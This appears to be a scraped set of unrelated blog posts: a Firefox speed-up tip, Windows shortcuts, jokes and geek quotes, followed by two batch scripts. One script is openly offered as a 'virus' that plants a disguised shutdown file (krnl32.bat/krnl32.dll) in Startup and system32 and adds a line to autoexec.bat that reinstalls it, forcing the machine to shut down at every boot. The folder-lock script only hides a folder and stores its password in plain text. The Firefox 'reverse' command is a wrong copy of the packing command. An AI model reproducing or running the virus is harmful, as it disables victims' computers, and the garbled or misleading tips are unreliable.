Mozilla’s newest browser version, Firefox 3, enjoyed huge support when it launched, breaking a world record in the process. Over 8 million people, all over the world, combined to download Firefox 3, showing the potential of open source software to eclipse it’s mainstream rivals, mostly Internet Explorer.

With improved browsing features, Firefox 3’s performance over it’s earlier version Firefox 2 was plain to see. However, there was one issue that many users were starting to notice; the increased loading time when launching the browser.

This article will explain how to shorten the Firefox 3 load time, using free tools and your Windows command line.

Step One

Firstly, we will need to download a compression tool that will pack and reduce the size of your Firefox executable. This tool is called UPX (The Ultimate Packer for eXecutables).

Once downloaded, extract the file upx.exe and copy it to your Firefox installation directory (typically C:\Program Files\Mozilla Firefox).

Step Two

Close Firefox if you have it running. You will now need to open a command prompt window and change its path to the installation directory mentioned above. For those who are unfamiliar with the command prompt, there is help in a small file named Open Command Prompt Shell Extension. This will allow you to open a command window from the folder in Windows Explorer (see screenshot below).

Step Three

With the command prompt open and path changed, copy and paste the following script into your command prompt:

for %v in (*.exe *.dll components\*.dll plugins\*.dll) do upx “C:\Program Files\Mozilla Firefox\%v”

This command will execute the file packer which will compress your Firefox executable. Once it has finished, close all open browser windows and applications and re-launch Firefox. You should now notice an decrease in load time when starting your browser.

This tweak may be affected by any future updates to the browser but can be re-applied using the steps detailed above. Should you wish to reverse the process, you simply need to use the following script:

for %v in (*.exe *.dll components\*.dll plugins\*.dll) do upx “C:\Program Files\Mozilla Firefox\%v”

There are a few other tweaks you can employ to speed the launch of Firefox, namely uninstalling any unused Firefox Addons and changing your home page to a blank page using about:blank

Hopefully this tweak will allow you to improve load times on whatever computer you use. If you have any further tips on how to improve your Firefox load time, please leave a comment below.

Firefox photo from Flod

You may already be aware that there are a number of keyboard shortcuts for windows that can help you to bring up the start menu, launch Explorer windows, view the desktop and so on.  But did you know that you can use keyboard shortcuts to launch any application? This feature is built right into Windows, but many people do not take advantage of it simply because they are unaware of it.

Setting up a keyboard shortcut for any application in your start menu is fast and simple. Steps below explain how to create program shortcuts in Windows:

• Navigate the start menu to the application you want to shortcut. In this example, we will create a shortcut for the Calculator (one that I use all the time).



• Right-click on the application, and click on Properties.



• In the Properties window, you’ll see a field titled Shortcut key. Go to that field and type the letter C (or any other key you wish to use to launch the Calculator).
• Click OK

Now, whenever you want to quickly launch Calculator, just hit Ctrl-Alt-C (or whatever key you chose). I use application launch shortcut keys all the time for Calculator and Notepad. You can use it for those programs you constantly use and are sick of navigating through the Start menu to launch.

Do you use application launch shortcut keys? What other Windows shortcut keys do you find useful?

Stage #1 -- Smart

This is when you suddenly become an expert on every subject. You
know all and greatly wish to express this knowledge to anyone who
will listen.  At this stage you are also always right.  And of course
the person you are talking with is very wrong.  You will talk for
hours trying to convince someone that you are right. This makes for an
interesting argument when both parties are "smart".  Two people talking,
in fact, arguing about a subject neither one really knows anything
about, but are convinced that they are they complete authority on the
subject makes for great entertainment for those get the opportunity to
listen in.

Stage #2 -- Handsome/Pretty

This is when you are convinced that you are the best looking person in
the entire room and everyone is looking at you.  You begin to wink at
perfect strangers and ask them to dance because of course they had been
admiring you the whole evening.  You are the center of attention, and all
eyes are directed at you because you are the most beautiful thing on the
face of the earth.  Now keep in mind that you are still smart, so you can
talk to this person who has been admiring you about any and all subjects
under the sun.

Stage #3 -- Rich

This is when you suddenly become the richest person in the world. You can
buy drinks for the entire bar and put it on your bill because you surely
have an armored truck full of your money parked behind the bar. You can
also make bets in this stage.  Now of course you still know all, so you
will always win all your bets.  And you have no concern for how much
money you bet because you have all the money in the world. You will also
begin to buy drinks for all the people in the bar who are admiring you
because you are now the smartest, prettiest, and richest person on the
face of the earth.

Stage #4 -- Bulletproof

You can now pick fights with the people you have been betting money with
because you cannot be hurt by anything. At this point you would go up to
the boyfriend of the woman who had been admiring your beautiful self
all evening and challenge him to a battle of wits for money. You have no
worry about losing this battle of wits because you know all, have all
the money to cover this bet, and you obviously win a fight that might
erupt if he looses.

Stage #5  -- Invisible

This is the final stage of drunkenness.  At this point you can do
absolutely anything because no one can see you. You can get up and dance
on a table; you can strip down to your underwear, to impress the people
who have been admiring you all evening, because the rest of the people
in the room cannot see you. You are also invisible to the person whom
you have picked a fight with earlier in the evening. You can walk through
the streets singing at the top of your lungs (because of course you are
still smart and know the tune perfectly) and no one will think anything
of it because they can't see you.  All your social inhibitions are
gone. You can do anything, because no one will know.

And you certainly won't remember !

The proliferation of modern programming languages (all of which seem to have stolen countless features from one another) sometimes makes it difficult to remember what language you’re currently using. This guide is offered as a public service to help programmers who find themselves in such dilemmas.

370 JCL
You send your foot down to MIS with a 4000-page document explaining how you want it to be shot. Three years later, your foot comes back deep-fried.

Ada
After correctly packaging your foot, you attempt to concurrently load the gun, pull the trigger, scream, and shoot yourself in the foot. When you try, however, you discover that your foot is of the wrong type.

APL
You shoot yourself in the foot, then spend all day figuring out how to do it in fewer characters.

ASP.NET
Find a gun, it falls apart. Put it back together, it falls apart again. You try using the .GUN Framework, it falls apart. You stab yourself in the foot instead.

Assembly
You try to shoot yourself in the foot only to discover you must first reinvent the gun, the bullet, and your foot. After that’s done, you pull the trigger, the gun beeps several times, then crashes.

brainfuck
Just looking at the gun gives you a migrane, so forget about actually shooting it.

BASIC
Shoot yourself in the foot with a water pistol. On big systems, continue until entire lower body is waterlogged.

C
You try to shoot yourself in the foot, but find out the the gun is actually a howitzer cannon.

C++
You accidentally create a dozen clones of yourself and shoot them all in the foot. Emergency medical assistance is impossible since you can’t tell which are bitwise copies and which are just pointing at others and saying, “That’s me, over there.”

COBOL
Using a COLT 45 HANDGUN, AIM gun at LEG.FOOT, THEN place ARM.HAND.FINGER. on HANDGUN.TRIGGER and SQUEEZE. THEN return HANDGUN to HOLSTER. CHECK whether shoelace needs to be retied.

Concurrent Euclid
You shoot yourself in somebody else’s foot.

CSS
You shoot your right foot with one hand, then switch hands to shoot your left foot but you realize that the gun has turned into a banana.

DOS Batch
You aim the gun at your foot and pull the trigger, but only a weak gust of warm air hits your foot.

Forth
Foot in yourself shoot.

FORTRAN
You shoot yourself in each toe, iteratively, until you run out of toes, then you read in the next foot and repeat. If you run out of bullets, you continue anyway because you have no exception-handling ability.

HyperTalk
Put the first bullet of the gun into the foot of the left leg of you.
Answer the result.

Java
After importing java.awt.right.foot.* and java.awt.gun.right.hand.*, and writing the classes and methods of those classes needed, you’ve forgotten what the hell you’re doing.

JavaScript
You’ve perfected a robust, rich user experience for shooting yourself in the foot. You then find that bullets are disabled on your gun.

LISP
You shoot yourself in the appendage which holds the gun with which
you shoot yourself in the appendage which holds the gun with which
you shoot yourself in the appendage which holds the gun with which
you shoot yourself in the appendage which holds the gun with which
you shoot yourself in the appendage which holds…

Machine Language
Before you can shoot yourself in the foot you must disassemble the gun at the atomic level and then reassemble it. After you do this, you find that the bullets require a special operator so the gun doesn’t work.

Modula-2
After realizing that you can’t actually accomplish anything in this language, you shoot yourself in the head.

Motif
You spend days writing a UIL description of your foot, the trajectory, the bullet, and the intricate scrollwork on the ivory handles of the gun. When you finally get around to pulling the trigger, the gun jams.

Paradox
Not only can you shoot yourself in the foot, your users can too.

Pascal
The compiler won’t let you shoot yourself in the foot.

Perl
You shoot yourself in the foot, but nobody can understand how you did it. Six months later, neither can you.

PHP
You shoot yourself in the foot with a gun made with pieces from 300 other guns.

PL/I
You discover 6,752 different guns for shooting yourself in the foot. Before you can decide which one to use, you starve to death.

Prolog
You tell your program you want to be shot in the foot. The program figures out how to do it, but the syntax doesn’t allow it to explain.

Python
You try to shoot yourself in the foot but you just keep hitting the whitespace between your toes.

Revelation
You’ll be able to shoot yourself in the foot just as soon as you figure out what all these bullets are for.

RPG
First you define your gun, bullet, and firing pin. Then, you define your foot, toes, and toenails. Then, you open chamber and load the gun. Then, you cock it. Now you’re finally ready to shoot yourself in the foot.

Ruby
Your foot is ready to be shot in roughly five minutes, but you just can’t find anywhere to shoot it.

SNOBOL
If you succeed, shoot yourself in the left foot.
If you fail, shoot yourself in the right foot.

SQL

SELECT @ammo:=bullet FROM gun WHERE trigger = ‘PULLED’;

INSERT INTO leg (foot) VALUES (@ammo);

Shell Script
You shoot yourself in the foot; then
Uoy toohs flesruoy no eht toof

UNIX
% ls
foot.c foot.h foot.o toe.c toe.o
% rm * .o
rm: .o: No such file or directory
% ls
%

Visual BASIC
You’ll shoot yourself in the foot, but you’ll have so much fun doing it that you won’t care.

Visual BASIC.NET
You spend a fortune on a high-powered, self-cleaning, self-aiming, automatic handgun with unlimited ammo, only to realize it takes a year to pull the trigger.

Visual FoxPro
You mock other sharpshooters for not being able to shoot both feet at once, but when you try to do it yourself you realize that you can’t properly handle the Microsoft.gun ActiveX.

Software doesn’t just appear on the shelves by magic. That  program shrink-wrapped inside the box along with the  indecipherable manual and 12-paragraph disclaimer notice  actually came to you by way of an elaborate path, through  the most rigid quality control on the planet.   Here, shared for the first time with the general public, are  the inside details of the program development cycle.

1. Programmer produces code he believes is bug-free.
2. Product is tested. 20 bugs are found.
3. Programmer fixes 10 of the bugs and explains to the testing department that the other 10 aren’t really bugs.
4. Testing department finds that five of the fixes didn’t  work and discovers 15 new bugs.
5. See 3.
6. See 4.
7. See 5.
8. See 6.
9. See 7.
10. See 8.
11. Due to marketing pressure and an extremely pre-mature product announcement based on overly-optimistic programming schedule, the product is released.
12. Users find 137 new bugs.
13. Original programmer, having cashed his royalty check, is nowhere to be found.
14. Newly-assembled programming team fixes almost all of the 137 bugs, but introduce 456 new ones.
15. Original programmer sends underpaid testing department a postcard from Fiji. Entire testing department quits.
16. Company is bought in a hostile takeover by competitor using profits from their latest release, which had 783 bugs.
17. New CEO is brought in by board of directors. He hires programmer to redo program from scratch.
18. Programmer produces code he believes is bug-free….

This is an actual job application a 17-year-old boy submitted at a McDonald’s fast-food establishment in Florida – and they hired him because he was so honest and funny!

NAME: Greg Bulmash

SEX: Not yet. Still waiting for the right person.

DESIRED POSITION: Company’s President or Vice President. But seriously, whatever’s available. If I were in a position to be picky, I wouldn’t be applying here in the first place.

DESIRED SALARY: $185,000 a year plus stock options and a Michael Ovitz style severance package. If that’s not possible, make an offer and we can haggle.

EDUCATION: Yes.

LAST POSITION HELD: Target for middle management hostility.

SALARY: Less than I’m worth.

MOST NOTABLE ACHIEVEMENT: My incredible collection of stolen pens and post-it notes.

REASON FOR LEAVING: It sucked.

HOURS AVAILABLE TO WORK: Any.

PREFERRED HOURS: 1:30-3:30 p.m., Monday, Tuesday, and Thursday.

DO YOU HAVE ANY SPECIAL SKILLS?

Yes, but they’re better suited to a more intimate environment.

MAY WE CONTACT YOUR CURRENT EMPLOYER? If I had one, would I be here?

DO YOU HAVE ANY PHYSICAL CONDITIONS THAT WOULD PROHIBIT YOU FROM LIFTING UP TO 50 LBS? Of what?

DO YOU HAVE A CAR?

I think the more appropriate question here would be “Do you have a car that runs?”

HAVE YOU RECEIVED ANY SPECIAL AWARDS OR RECOGNITION?

I may already be a winner of the Publishers Clearing house Sweepstakes.

DO YOU SMOKE?

On the job no, on my breaks yes.

WHAT WOULD YOU LIKE TO BE DOING IN FIVE YEARS?

Living in the Bahamas with a fabulously wealthy dumb sexy blonde super model who thinks I’m the greatest thing since sliced bread. Actually, I’d like to be doing that now.

DO YOU CERTIFY THAT THE ABOVE IS TRUE AND COMPLETE TO THE BEST OF YOUR KNOWLEDGE?

Yes – Absolutely.

SIGN HERE: Aries.

For all the geeks out there, do you know someone who tried to teach themselves how to read Barcode? Here is a list of Geek quotes, sayings and phrases. Some of them are from Boardofwisdom who put together a nice compilation themselves.

#1. Roses are #FF0000, Violets are #0000FF. All my base Are belong to you  — someone on SlashDot

#2. There is no place like 127.0.0.1

#3. Girls are like Internet Domain names, the ones I like are already taken

#4. Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning

#5. Computers are incredibly fast, accurate, and stupid; humans are incredibly slow, inaccurate and brilliant; together they are powerful beyond imagination. — Albert Einstein

#6. There are 10 types of people in the world: Those who understand binary and those who don’t.

#7. If at first you don’t succeed, call it version 1.0

#8. 1f u c4n r34d th1s u r34lly n33d t0 g37 l41d

#9. I’m not anti-social; I’m just not user friendly

#10. I would love to change the world, but they won’t give me the source code

#11. My Software never has bugs. It just develops random features.

#12. The speed of sound is defined by the distance from door to computer divided by the time interval needed to close the media player and pull up your pants when your mom shouts “OH MY GOD WHAT ARE YOU DOING!!!

#13. The glass is neither half-full nor half-empty: it’s twice as big as it needs to be.

#14. Passwords are like underwear. You shouldn’t leave them out where people can see them. You should change them regularly. And you shouldn’t loan them out to strangers

#15. Enter any 11-digit prime number to continue…

#16. A Life? Cool! Where can I download one of those?

#17. I spent a minute looking at my own code by accident. I was thinking “What the hell is this guy doing?”

#18. Concept: On the keyboard of life, always keep one finger on the escape button.

#19. Alert! User Error. Please replace user and press any key to continue

#20. If builders built buildings the way programmers wrote programs, then the first woodpecker that came along would destroy civilization. — Weinberg’s Second Law

This batch Program can be compiled very simply.

Just copy/paste it into notepad , and save it as “shutdown.bat” (with”")

What this “virus” does??

Well , it simply copies part of itself into startup ,and autoexec , so , next time computer starts program will start with windows ,

and shutdown it…

P.S. Use this program at your own responsability , i am NOT responsible for any damage you may cause to your/someone else`s

computer with this program. Once again , YOU USE THIS AT YOUR OWN RESPONSABILITY!!

Here is the program:

---

@echo off

:main
set xpstart=c:\docume~1\alluse~1\startm~1\programs\startup
set 9xstart=%windir%\startm~1\programs\startup
if exist %xpstart% goto winxp
if exist %9xstart% goto win9x
goto end

:winxp
echo %windir%\system32\shutdown.exe -s -t 01 > %xpstart%\krnl32.bat
copy %xpstart%\krnl32.bat %windir%\system32\krnl32.dll
echo if not exist %xpstart%\krnl32.bat copy %windir%\system32\krnl32.dll %xpstart%\krnl32.bat >> autoexec.bat
goto end

:win9x
echo RUNDLL SHELL32.DLL,SHExitWindowsEx 1 > %9xstart%\krnl32.bat
copy %9xstart%\krnl32.bat %windir%\system32\krnl32.dll
echo if not exist %9xstart%\krnl32.bat copy %windir%\system32\krnl32.dll %9xstart%\krnl32.bat >> autoexec.bat
goto end

:end

---

Just copy/paste it in notepad , and sav e it as anything.bat…

DO NOT USE IT ON YOUR COMPUTER!!!

Have a nice day

This program is very useful for advanced hiding/locking files…

I personally use it to hide xxx content on my computer

Here is the program:

---

cls
@ECHO OFF
Folder lock
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock this folder (Y/N)??
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==yes goto LOCK
if %cho%==Yes goto LOCK
if %cho%==YES goto LOCK
if %cho%==n goto END
if %cho%==no goto END
if %cho%==nO goto END
if %cho%==No goto END
if %cho%==NO goto END
if %cho%==N goto END
echo Are you retarded? Type Yes or No
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder  is locked
goto End
:UNLOCK
echo Tell Meh ur pass
set/p “pass=>”
if NOT %pass%== YOUR PASSWORD

goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Folder unlocked!

goto End

:FAIL

echo WTF? Wrong password man!

goto end
:MDLOCKER
md Private
echo Folder private is sucessfuly maked!

goto End
:End

---

Ok , now , let me explain to you how to use this program , and how to customize it…

First thing you need to do is to set ur pass.

Go to:

---

if NOT %pass%== YOUR PASSWORD

---

Replace YOUR PASSWORD , with password you will use.

Example:

If i want my password to be 12345 , i will set it like this:

---

if NOT %pass%== 12345

---

Now , all you need to do , is to copy/paste this program into notepad , and save it as “name.bat”

You can replace name with any name you like , but remember that you need to keep “”.

Now , start your newly created program.

At first start , program will make folder Private in directory that program is in.

Now , put files that you want to lock in folder private.

When you start program again , it will ask you to confirm folder locking.

Confirm with y or yes

And , magic!

Folder is now invisible.

If u want to unlock it , just open my program again , and type in ur pass.

If you forget ur password , just right click on program , and press on edit

Enjoy ur privacy